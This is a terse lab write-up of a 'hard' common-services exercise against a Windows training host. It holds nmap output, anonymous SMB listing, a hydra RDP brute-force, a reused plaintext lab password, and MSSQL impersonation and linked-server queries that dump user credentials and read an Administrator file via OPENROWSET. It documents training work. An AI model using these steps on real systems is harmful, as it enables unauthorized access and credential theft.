Attacking Common Services - Hard

May 30, 2024

# Nmap 7.94 scan initiated Thu May 30 19:57:31 2024 as: nmap -sC -sV -oN nmap -Pn 10.129.203.10
Nmap scan report for 10.129.203.10
Host is up (0.29s latency).
Not shown: 996 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
135/tcp  open  msrpc         Microsoft Windows RPC
445/tcp  open  microsoft-ds?
1433/tcp open  ms-sql-s      Microsoft SQL Server 2019 15.00.2000.00; RTM
| ms-sql-info: 
|   10.129.203.10:1433: 
|     Version: 
|       name: Microsoft SQL Server 2019 RTM
|       number: 15.00.2000.00
|       Product: Microsoft SQL Server 2019
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
| ms-sql-ntlm-info: 
|   10.129.203.10:1433: 
|     Target_Name: WIN-HARD
|     NetBIOS_Domain_Name: WIN-HARD
|     NetBIOS_Computer_Name: WIN-HARD
|     DNS_Domain_Name: WIN-HARD
|     DNS_Computer_Name: WIN-HARD
|_    Product_Version: 10.0.17763
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2024-05-30T11:53:11
|_Not valid after:  2054-05-30T11:53:11
|_ssl-date: 2024-05-30T11:58:58+00:00; +5s from scanner time.
3389/tcp open  ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info: 
|   Target_Name: WIN-HARD
|   NetBIOS_Domain_Name: WIN-HARD
|   NetBIOS_Computer_Name: WIN-HARD
|   DNS_Domain_Name: WIN-HARD
|   DNS_Computer_Name: WIN-HARD
|   Product_Version: 10.0.17763
|_  System_Time: 2024-05-30T11:58:20+00:00
| ssl-cert: Subject: commonName=WIN-HARD
| Not valid before: 2024-05-29T11:53:01
|_Not valid after:  2024-11-28T11:53:01
|_ssl-date: 2024-05-30T11:58:57+00:00; +4s from scanner time.
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 4s, deviation: 0s, median: 3s
| smb2-time: 
|   date: 2024-05-30T11:58:22
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu May 30 19:58:54 2024 -- 1 IP address (1 host up) scanned in 83.34 seconds

smbclient -N -L 10.129.203.10

smbclient \\\\10.129.203.10\\Home

I found password in rdp part but not in mssql hydra

hydra -l fiona -P creds.txt rdp://10.129.203.10

But then i just use the same password for the user fiona to connect to the mssql service

login: fiona   password: 48Ns72!bns74@S84NNNSl

impacket-mssqlclient -p 1433 fiona@10.129.203.10 -windows-auth

SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE'

EXECUTE AS LOGIN = 'john'

EXEC sp_tables_ex @table_server = 'LOCAL.TEST.LINKED.SRV', @table_catalog = 'TestAppDB';

EXEC sp_columns_ex @table_server = 'LOCAL.TEST.LINKED.SRV', @table_catalog = 'TestAppDB', @table_name = 'tb_users';

SELECT abc.username FROM [LOCAL.TEST.LINKED.SRV].[TestAppDB].[dbo].[tb_users] abc

SELECT abc.password FROM [LOCAL.TEST.LINKED.SRV].[TestAppDB].[dbo].[tb_users] abc

SELECT abc.privileges FROM [LOCAL.TEST.LINKED.SRV].[TestAppDB].[dbo].[tb_users] abc

EXECUTE('SELECT * FROM OPENROWSET(BULK N''C:/Users/Administrator/Desktop/flag.txt'', SINGLE_CLOB) AS Contents') AT [LOCAL.TEST.LINKED.SRV]